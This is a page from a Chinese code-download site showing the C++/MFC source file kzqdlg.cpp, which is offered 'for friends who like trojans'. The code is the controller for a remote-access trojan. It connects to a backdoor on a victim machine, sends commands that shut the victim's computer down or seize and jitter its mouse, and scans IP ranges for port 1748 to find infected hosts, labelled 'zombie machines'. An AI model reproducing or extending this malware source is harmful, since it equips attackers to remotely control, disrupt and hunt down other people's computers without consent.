⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 kzqdlg.cpp

📁 喜欢木马的朋友可以下
💻 CPP
📖 第 1 页 / 共 2 页
字号:
//当用户拖动最小化窗口时系统调用此函数取得光标显示。
HCURSOR CKZQDlg::OnQueryDragIcon()
{
	return static_cast<HCURSOR>(m_hIcon);
}

void CKZQDlg::Loing(void)
{

		m_pSocket=new CRequest(this);
		if(!(m_pSocket=ConnectServer()))
		{
			m_pSocket=NULL;
			return;
		}
	

}

void CKZQDlg::FetchMsg(CRequest *pRequest)
{
	char pMsg[10000],tempMsg[1000];
	int ByteCount;
	int End=0;
	CString AA;
	CStringArray *temp=new CStringArray;
	strcpy(pMsg,"");
	do
	{
		strcpy(tempMsg,"");
		ByteCount=pRequest->Receive(tempMsg,1000);
		if(ByteCount>1000||ByteCount<=0)
		{
			showtext("接受对方肉鸡网络信息发生错误");
			return ;
		}
		else if(ByteCount<1000&&ByteCount>0)
		{
			End=1;
		}
		tempMsg[ByteCount]=0;
		strcat(pMsg,tempMsg);
	}while(End==0);
	AA= pMsg;
	if(AA =="CG1")
	{
		showtext("成功!对方计算机已经开始关闭了!");
	}
	if(AA =="CG2")
	{
showtext("成功!对方计算机鼠标已经开始乱动了!");
	}
	if(AA=="CG3")
	{
		showtext("成功!对方计算机鼠标由你控制了!");
			mouse=TRUE;
	}
	if(mouse==TRUE)
	{

		CString SelAllStrA,sSIpA,sDIpA;//检测是否发送过来的是对方的屏幕大小.
		SelAllStrA = AA;
		//int nBeginA=SelAllStrA.Find("资料到A");
		int nEndA=SelAllStrA.Find(":");
		sSIpA=SelAllStrA.Mid(0,nEndA);
		TRACE(sSIpA);
		if(sSIpA=="分辨率")
		{
			//获得对方屏幕的宽
			int nBeginA=SelAllStrA.Find(":");
			int nEndA=SelAllStrA.Find(">");
			sSIpA=SelAllStrA.Mid(nBeginA+1,nEndA-1-nBeginA);
			TRACE(sSIpA);
			WinX=atoi(sSIpA);
			//
			//获得对方屏幕的高
			 nBeginA=SelAllStrA.Find(">");
			 nEndA=SelAllStrA.Find("?");
			sSIpA=SelAllStrA.Mid(nBeginA+1,nEndA-1-nBeginA);
			TRACE(sSIpA);
			WinY=atoi(sSIpA);//
			//
			//弹出模拟对方屏幕界面
			CWindows dlg;
				dlg.WinX = WinX;
				dlg.WinY=WinY;
			if(dlg.DoModal()==IDCANCEL)
			{
				showtext("你试图停止控制对方鼠标.....");
				CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
				if(pFrame->m_pSocket)
				{
					char pMsg[10000];
					sprintf(pMsg,"%s","StopMouseMove");
					pFrame->SendMsg(pFrame->m_pSocket,pMsg);
				}
			}

			//
		}
	}
	if(AA=="CG4")
	{
		showtext("成功!对方计算机鼠标不由你控制了!");
			mouse=FALSE;
	}
	////获取储备数据
	//CString SelAllStrA,sSIpA,sDIpA;//检测数据.
	//SelAllStrA = SZMM;
	//int nBeginA=SelAllStrA.Find("资料到A");
	//int nEndA=SelAllStrA.Find(":");
	//sSIpA=SelAllStrA.Mid(nBeginA-7,nEndA);
	//TRACE(sSIpA);
	//if(sSIpA=="资料到A")
	//{
	//	XXCV();
	//}
}

void CKZQDlg::SendMsg(CRequest *pRequest, char *pMsg)
{
	pRequest->Send(pMsg,int(strlen(pMsg)));
}

void CKZQDlg::OnBnClickedButton1()
{
	// TODO: 在此添加控件通知处理程序代码
	UpdateData(true);
	if(m_GO=="我停止控制对方鼠标!")
	{

		showtext("你试图停止控制对方鼠标.....");
		CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
		if(pFrame->m_pSocket)
		{
			char pMsg[10000];
			sprintf(pMsg,"%s","StopMouseMove");
			pFrame->SendMsg(pFrame->m_pSocket,pMsg);
		}
	}
	if(m_GO=="我来控制对方鼠标!")
	{
		showtext("你试图来控制对方鼠标.....");
	
		CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
		if(pFrame->m_pSocket)
		{
			char pMsg[10000];
			sprintf(pMsg,"%s","SetMouseMove");
			pFrame->SendMsg(pFrame->m_pSocket,pMsg);
		}
	}
	if(m_GO=="试图让对方的鼠标乱动!")
	{
		showtext("试图让对方的鼠标乱动.....");
		CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
		if(pFrame->m_pSocket)
		{
			char pMsg[10000];
			sprintf(pMsg,"%s","MouseMove");
			pFrame->SendMsg(pFrame->m_pSocket,pMsg);
		}
	}
	if(m_GO=="试图关闭对方计算机!")
	{
	showtext("试图关闭对方计算机.....");
	CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
	if(pFrame->m_pSocket)
	{
		char pMsg[10000];
		sprintf(pMsg,"%s","KFC");
		pFrame->SendMsg(pFrame->m_pSocket,pMsg);
	}
		
	}
}
CRequest *CKZQDlg::ConnectServer()
{
	CRequest *pSocket=new CRequest(this);
	if(!(pSocket->Create()))
	{
		delete pSocket;
		showtext("创建Socket失败");
		return NULL;
	}
	//连接到服务器
	if(!pSocket->Connect(m_Server,m_Port))
	{
		delete pSocket;
		showtext("请求连接到对方失败!");
		return NULL;
	}
	else
	{
		showtext("恭喜你!连接成功!");
		showtext("你可以试图控制对方肉鸡了...");
GetDlgItem(IDC_COMBO1)->EnableWindow(TRUE);
GetDlgItem(IDC_BUTTON1)->EnableWindow(TRUE);
	}
	return pSocket;
}
void CKZQDlg::OnBnClickedOk()
{
	// TODO: 在此添加控件通知处理程序代码
	showtext("正在试图连接对方肉鸡后门!");
	UpdateData(TRUE);
	m_Server=m_IP;
	m_Port=m_prot;
	UpdateData(FALSE);
		Loing();
}

void CKZQDlg::showtext(CString AA)
{
	m_XTXX.AddString(AA);
	int numList=m_XTXX.GetCount()-1;
	m_XTXX.SetTopIndex(numList);
	m_XTXX.SetCurSel(numList);
	int max_width=0;
	CSize sz;
	CClientDC dc(this);
	for(int i=0;i<m_XTXX.GetCount();i++)
	{
		m_XTXX.GetText(i,AA);
		sz=dc.GetTextExtent(AA);
		if(max_width<sz.cx)
			max_width=sz.cx;
	}
}

void CKZQDlg::OnMouseMove(UINT nFlags, CPoint point)//无效了
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值
if(mouse==TRUE)
{
	//CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
	//if(pFrame->m_pSocket)
	//{
	//	char pMsg[10000];
	//	sprintf(pMsg,"%d:%d>",point.x,point.y);
	//	pFrame->SendMsg(pFrame->m_pSocket,pMsg);
	//}
}

	CDialog::OnMouseMove(nFlags, point);
}

void CKZQDlg::OnBnClickedCancel()
{
	// TODO: 在此添加控件通知处理程序代码
	//if(m_pSocket)
	//{
	//	delete m_pSocket;
	//	m_pSocket=NULL;
	//}
	TerminateThread(m_hThread, 0);
	m_hThread = NULL;	
	KillTimer(1);

	WSACleanup();
	OnCancel();
}

void CKZQDlg::OnBnClickedButton2()
{
	// TODO: 在此添加控件通知处理程序代码

	//获取IP
	jackie=0;
	CString PD="停止..";
	CString PDD;//上面2个是判断是不是已经开始搜索了,开始了就停止。停止了就开始
	 GetDlgItem(IDC_BUTTON2)->GetWindowText(PDD);
if(PD ==PDD)
{
	g_bTerminate = TRUE;
	GetDlgItem(IDC_BUTTON2)->SetWindowText("停止中..");
	KillTimer(1);
}
else
	if (m_hThread == NULL)
	{
		m_list.DeleteAllItems();
		UpdateData();
		BYTE i1,i2,i3,i4;
			m_SMIP.GetAddress(i1,i2,i3,i4);
		
			char sIP[15];
			char sIP1[15];
			sprintf(sIP, "%d.%d.%d.", i1,i2,i3);
			sprintf(sIP1,"%d",i4);
		AA="";
		BB="";
		jackie = 0;
			for(int i=0;i<15;i++)
			{
		
				AA += sIP[i];
				BB += sIP1[i];
			}
			BB.Format("%s",BB);
			AA.Format("%s",AA);
			int ll;
			ll=atoi(BB);
			if(m_SMIPEND<ll)
			{
				showtext("错误!你最大IP小于最小IP,系统默认为2-3");
		m_SMIPEND=3;
		ll = 2;
			}
			m_JIP.SetRange32(0,m_SMIPEND-ll+1);
			m_JIP.SetPos(0);
			m_JIP.SetStep(1);
		int UU = m_SMIPEND-ll;
			for(int K=0;K<=m_SMIPEND-ll;K++)
			{
int oo=ll+K;
BB.Format("%d",oo);
m_JIP.StepIt();
			m_IPP=AA+BB;
		if ((g_ulAddr = GetAddr(m_IPP)) == INADDR_NONE)
		{
			showtext("无法找到主机"+m_IPP);
			return;
		}

		m_nHasComplete = 0;
		m_dwPercentSeconds = 0;
		m_DIP.SetPos(0);
		m_DIP.SetStep(1);
		g_bTerminate = false;
		g_dwTimeOut = 1000;//延时时间
		g_hWnd = m_hWnd;
		g_nMaxThread = 100;//查找线程
		g_nThreadCount = 0;

		tag_PORTS* pScanParam = new tag_PORTS;
		pScanParam->bSepecifiedPort = FALSE;		
		
			pScanParam->iStartPort = m_Sport;
			pScanParam->iEndPort = m_Eport;
			m_DIP.SetRange32(0, m_Eport-m_Sport+1);
		DWORD dwThreadId;
		m_hThread = CreateThread(NULL, 0, StartScan, (LPVOID)pScanParam, 0, &dwThreadId);
			GetDlgItem(IDC_BUTTON2)->SetWindowText("停止..");
		SetTimer(1, 100, NULL);
	}
			jackie =1;
	}
}

LRESULT CKZQDlg::OnRecalcDone(WPARAM wParam, LPARAM lParam)
{
	

//	return 0;
			CString CC;
				CString KKK;
				int a=0;
	switch(wParam)
	{
	case DOSCAN_FIND_PORT:
		a=(int)lParam;
		KKK.Format("%d",a);
		BB.Format("%s",BB);
		CC= AA+BB;
		nItem = m_list.InsertItem(0, CC);
		if(KKK=="1748")
		{
		
		m_list.SetItemText(nItem, 1, "肉鸡"+KKK+"端口存在.");
		}
		else
		{
	m_list.SetItemText(nItem, 1, KKK+"端口存在.");
		}
break;
	case DOSCAN_END_PORT:
		m_nHasComplete++;
		break;

	case STARTSCAN_COMPLETE:
		m_hThread = NULL;
		GetDlgItem(IDC_BUTTON2)->SetWindowText("立即扫描");
		KillTimer(1);
		break;

	default:
		break;		
	}
	return 0;
}

void CKZQDlg::OnTimer(UINT nIDEvent)
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值
if(nIDEvent==1)
{
	CString s;
	m_DIP.SetPos(m_nHasComplete);
}

	CDialog::OnTimer(nIDEvent);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -